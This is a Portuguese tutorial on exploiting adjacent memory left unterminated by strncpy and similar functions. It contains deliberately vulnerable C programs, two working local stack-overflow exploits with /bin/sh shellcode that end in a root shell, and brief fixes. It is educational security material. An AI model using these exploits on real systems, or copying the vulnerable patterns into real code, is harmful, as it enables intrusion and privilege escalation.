[ Tutorial ] Exploitando Memória Adjacente
Autor: WaldemarSilva | Publicado: 2013-11-07T20:43:00-08:00

1 - Introdução

2 - O Problema&nbsp;

3 - A Exploitacao&nbsp;

4 - Expansão do Conceito

5 - Terminando&nbsp;

&nbsp;5.1 - Links e Referencias

&nbsp;5.2 - Considerações Finais&nbsp;

&nbsp;5.2 - Agradecimentos

Os ataques de Buffer Overflows parecem que ainda perdurarao por algum tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca, os exemplos de condições de overflow permanecem como uma "constante" entre os aplicativos de um modo geral.

Ate onde eu conheço, o conceito de buffer overflow eh apenas um, no entanto, as técnicas para implementação deste conceito são diversas. E ate onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a expandir para as massas o conceito de buffer overflows. Desde o worm (Robert Morris, 1988) ate os nossos dias, muitos programadores tem procurado diminuir as condições de buffer overflows em programas que manipulam parâmetros recebidos de um usuário, substituindo funcoes conhecidas como vulneraveis(strcpy, gets, sprintf) por funções que necessariamente fazem checagem do tamanho dos parâmetros recebidos (strncpy, snprintf, etc).

No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto uma técnica capaz de exploitar espaços de memoria adjacente, especificamente o manuseio incorreto das funções ditas seguras(strcnpy, por exemplo). As Analises de código-fonte(auditoria) passaram agora a incluir todo tipo de funções, demonstrando assim que nao basta apenas a funcao fazer a checagem do tamanho dos parametros, mas outros fatores passaram a ser essenciais.

Neste documento abordaremos esta técnica. Conhecimentos em C, Assembly (AT&amp;T), escrita de exploits(ver docs da Unsek Scene) e Linux se fazem necessários. E principalmente mentalidade fuçadora!

O problema
Podemos descrever basicamente o problemas com as funções ditas seguras (strncpy, strncat, etc) eh que elas não são capazes de terminar automaticamente os buffers ou strings com um NULL. Como assim?


Vejamos nosso primeiro código inicial:


/* Exemplo de strncpy()*/
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
&nbsp;int main(int argc, char *argv[]){
char buffer[256];
&nbsp;/* Iremos copiar argv[1] para buffer e imprimir */
strncpy(buffer,argv[1],sizeof(buffer));
&nbsp;/* Iremos imprimir o tamanho da string recebida em argv[1] */
printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer));

return 0;
}






Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:


kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256

A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:


kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256

Como podemos notar strlen() contem um tamanho superior ao esperado. Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando o programa abaixo:

/* Exemplo 2 de strncpy() */
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
int main(int argc, char *argv[]){
char buffer1[20], buffer2[8];
&nbsp;/* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
&nbsp;/* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
&nbsp;/* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2);
return 0;
}


Executando este programa, teoricamente deveríamos ter a saída de buffer2, ou seja, uma string contendo 8 caracteres.Mas vejamos:


kimera3:/work/testes# ./b2 NashLeonBuffer2: NashLeonNashLeon

NashLeonNashLeon Possue 16 caracteres.
No mais a gente pode brincar com isso:


kimera3:/work/testes# ./b2 NashLeonUnsekBuffer2: NashLeonNashLeonUnsekkimera3:/work/testes# ./b2 NashLeonUnsekSceneBuffer2: NashLeonNashLeonUnsekScenekimera3:/work/testes# ./b2 NashLeonUnsekSceneAgainBuffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@

Ele imprime justamente porque o strncpy() não encontrou o caracter NULL como esperava. Com menos de 8 caracteres, poderíamos ter:


kimera3:/work/testes# ./b2 NashBuffer2: Nashkimera3:/work/testes# ./b2 NashLeoBuffer2: NashLeo

Ou seja, a execução e impressão em modo normal e esperado, ja&nbsp;que temos um NULL na string indicando o termino dela. O stack nesse caso iria parecer como:


Memoria 
 Alta
 || ----------------&gt;
[Topo do Stack]
 || ----------------&gt;
[ 'N' (buffer2 - 0) ]
 || ----------------&gt;
&nbsp;[ 'a' (buffer2 - 1) ]
 || ----------------&gt;
&nbsp;[ 's' (buffer2 - 2) ]
 || ----------------&gt;
&nbsp;[ 'h' (buffer2 - 3) ]
 || ----------------&gt;
[ 'L' (buffer2 - 4) ]
 || ----------------&gt;
&nbsp;[ 'e' (buffer2 - 5) ]
 || ----------------&gt;
[ 'o' (buffer2 - 6) ]
 || ----------------&gt;
&nbsp;[ 'n' (buffer2 - 7) ]
 || ----------------&gt;
&nbsp;[ 'N' (buffer1 - 0) ]
 || ----------------&gt;
&nbsp;[ 'a' (buffer1 - 1) ]
 || ----------------&gt;
[ 's' (buffer1 - 2) ]
 || ----------------&gt;
&nbsp;[ 'h' (buffer1 - 3) ]
 || ----------------&gt;
&nbsp;[ 'L' (buffer1 - 4) ]
 || ----------------&gt;
&nbsp;[ 'e' (buffer1 - 5) ]
 || ----------------&gt;
&nbsp;[ 'o' (buffer1 - 6) ]
 || ----------------&gt;
[ 'n' (buffer1 - 7) ]
 || ----------------&gt;
[ 'U' (buffer1 - 8) ]
 || ----------------&gt;
&nbsp;[ 'n' (buffer1 - 9) ]
 || ----------------&gt;
[ 's' (buffer1 - 10) ]
 || ----------------&gt;
[ 'e' (buffer1 - 11) ]
 || ----------------&gt;
&nbsp;[ 'k' (buffer1 - 12) ]
 || ----------------&gt;
&nbsp;[ 0x00 (buffer1 - 13) ]
 ||
 || ...
 \/



Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na seção abaixo.


A Exploitação
Este problema pode ser exploitado de inúmeras maneiras. Dependendo do nível do atacante, ele pode se aproveitar ate mesmo do exemplo inicial postado neste documento. Como este e todos os meus documentos visam NewBies, veremos inicialmente o exemplo mais trivial de se exploitar este problema.

Como vimos no exemplo acima, strlen() tende a ser maior do que o esperado quando enchemos um buffer e strncpy() nao encontra um NULLinteracao de funcoes.

Vejamos abaixo uma possivel implicacao disso:





&nbsp;/* Exemplo inicial de programa&nbsp;vulneravel&nbsp;* Documento sobre problemas com memoria adjacente&nbsp;* Nash Leon -&nbsp;nashleon@yahoo.com.br. *#include &lt;unistd.h&gt;int bugada(char *buffer);int main(int argc,char *argv[]){char buf1[512];char buf2[256];strncpy(buf2,argv[1],sizeof(buf2));strncpy(buf1,argv[2],sizeof(buf1));bugada(buf2);
return 0;}&nbsp;int bugada(char *buffer){
char buf3[300];
int i;/* note que buf3 suporta 300 bytes enquando&nbsp;* buf2(buffer) teoricamente deveria conter no maximo&nbsp;* 256.
 */&nbsp;for(i = 0; i &lt; strlen(buffer); i++){
 buf3[i] = buffer[i];}}



#include &lt;stdio.h&gt;&nbsp;




Para exploitarmos este programa, não tem muito segredo. Vamos encher o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas com o endereço de retorno. Existem inumeros esquemas em cima disso, em alguns casos, partindo o shellcode ou manipulando NOPs, enfim, vejamos o exploit abaixo:



/* Primeiro exemplo de exploit para* strcnpy() - Espaco de Memoria Adjacente.* Desenvolvido por Nash Leon p/ tutorial.* nashleon@yahoo.com.br
 */#include &lt;stdio.h&gt;#include &lt;unistd.h&gt;#include &lt;stdlib.h&gt;#include &lt;string.h&gt;#define LENBUFF1 256#define LENBUFF2 512/* Shellcode Padrao */
char shellcode[] = &nbsp; "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";/* Captura o Stack Pointer */unsigned long get_sp(void){
 __asm__("movl %esp,%eax");}int main(int argc,char *argv[]){char buff1[LENBUFF1];char buff2[LENBUFF2];int i, offset = 0;
unsigned long retaddr;

if(argc &lt; 2){
printf("Uso: %s &lt;offset&gt;\n",argv[0]);
exit(0);
}

offset = atoi(argv[1]);

memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));

retaddr = get_sp() + offset;
for(i=0; i&lt; LENBUFF2; i+=4){
 buff2[i]=(retaddr&amp;0x000000ff);
 buff2[i+1]=(retaddr&amp;0x0000ff00)&gt;&gt;8;
 buff2[i+2]=(retaddr&amp;0x00ff0000)&gt;&gt;16;
 buff2[i+3]=(retaddr&amp;0xff000000)&gt;&gt;24;
 }

printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}Vamos executar ele, entao:kimera3:/work/testes# ./ev 150Usando Retorno: 0xbffff7f2Segmentation fault (core dumped)kimera3:/work/testes# ./ev 155Usando Retorno: 0xbffff7f7sh-2.03#



Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo ate mesmo para evitar o uso de offsets. Outro possível esquema pode obedecer o seguinte modelo descrito pelo twitch na Phrack 56:

Apos a execução de strncpy(), buf2 deve parecer com:

Código:&nbsp;

[ 0 ......................................................... 512 ]
 --------------------------------------------------------------------
 | | |
 | offset_para_shellcode | Um monte de lixo(NULL, NOPs) |
 | | |
 --------------------------------------------------------------------


E buf1 deve parecer com:

 [ 0 .......................................................... 256 ]
 --------------------------------------------------------------------
 | | | |
 | Cadeia de NOP's | shellcode | Mais NOP's |
 | | | |
 --------------------------------------------------------------------
Logo, para este esquema poderíamos ter o seguinte exploit:

Código:

/* Segundo exemplo de exploit para
 * strcnpy() - Espaco de Memoria Adjacente.
 * Desenvolvido por Nash Leon p/ tutorial.
 * nashleon@yahoo.com.br
 */

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

#define LENBUFF1 256
#define LENBUFF2 512

/* Shellcode Padrao */
char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* Captura o Stack Pointer */
unsigned long get_sp(void){
 __asm__("movl %esp,%eax");
}

int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;

if(argc &lt; 2){
printf("Uso: %s &lt;offset&gt;\n",argv[0]);
exit(0);
}

offset = atoi(argv[1]);


memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));

retaddr = get_sp() + offset;

memset(buff2,0x90,sizeof(buff2));

for(i=0; i&lt; LENBUFF2 - 360; i+=4){
 buff2[i]=(retaddr&amp;0x000000ff);
 buff2[i+1]=(retaddr&amp;0x0000ff00)&gt;&gt;8;
 buff2[i+2]=(retaddr&amp;0x00ff0000)&gt;&gt;16;
 buff2[i+3]=(retaddr&amp;0xff000000)&gt;&gt;24;
 }

printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
Executando:


kimera3:/work/testes# ./ev2 120Usando Retorno: 0xbffff7c4sh-2.03#

Bom, como podemos perceber não há muito problema em exploitar este tipo de problema. Mas podemos ir mais alem.

4 - Expansão do Conceito

Qualquer função que manipula strings a espera de um caracter NULL para "encerrar" a string pode estar vulnerável a este tipo de problema. Vimos no exemplo acima, strncpy(), uma função que eh muito usada, mas podemos ir mais alem.

As seguintes funções também podem apresentar problemas:

Código:

fread()
 read() [ read(), readv(), pread() ]
 memcpy()
 memccpy()
 memmove()
 bcopy()
 for(i = 0; i &lt; MAXSIZE; i++)
 buf[i] = buf2[i];
 gethostname()
 strncat()
e etc.

Hoje em dia, a que mais chama a atencao eh a for().

Vejamos o exemplo abaixo:

Código:

/* Exemplo de programa vulneravel em for().
 * Documento sobre problemas com memoria adjacente
 * Nash Leon - nashleon@yahoo.com.br.
 */ &nbsp;#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

#define MAXSIZE 256

int bugada(char *buffer);

int main(int argc,char *argv[]) {
char buf1[MAXSIZE];
char buf2[MAXSIZE];
char *pam;
int i;

pam = argv[1];

/* Copiamos conteudo de argv[1] para buf1 */

for(i = 0; i &lt; MAXSIZE; i++){
buf1[i] = pam[i];
}

for(i =0; i &lt; MAXSIZE; i++){
buf2[i] = buf1[i];
}

bugada(buf2);
return 0;
}

int bugada(char *buffer){
char buf3[MAXSIZE];
int i;
for(i = 0; i &lt; strlen(buffer); i++){
 buf3[i] = buffer[i];
 }
}# gdb ./v2GNU gdb 4.18Copyright 1998 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and youarewelcome to change it and/or distribute copies of it under certainconditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" fordetails.This GDB was configured as "i686-pc-linux-gnu"...(gdb) r `perl -e 'print "A" x 256'`Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`warning: Unable to find dynamic linker breakpoint function.GDB will be unable to debug shared library initializersand track explicitly loaded dynamic code.

Program Recebido signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.

Terminando

Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.

Para impedir que os buffers sejam usados em condicoes de overflow
pela funções, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:


#define MAXSIZE 256...for(i = 0; i &lt; MAXSIZE; i++){buf1[i] = pam[i];}buf1[MAXSIZE - 1] = '\0';
...

ou então ja&nbsp;evitar quais problemas na própria função receptora:

#define MAXSIZE 256...for(i = 0; i &lt; MAXSIZE - 1; i++){buf1[i] = pam[i];}buf1[MAXSIZE] = '\0';...


Creditos : NASH LEON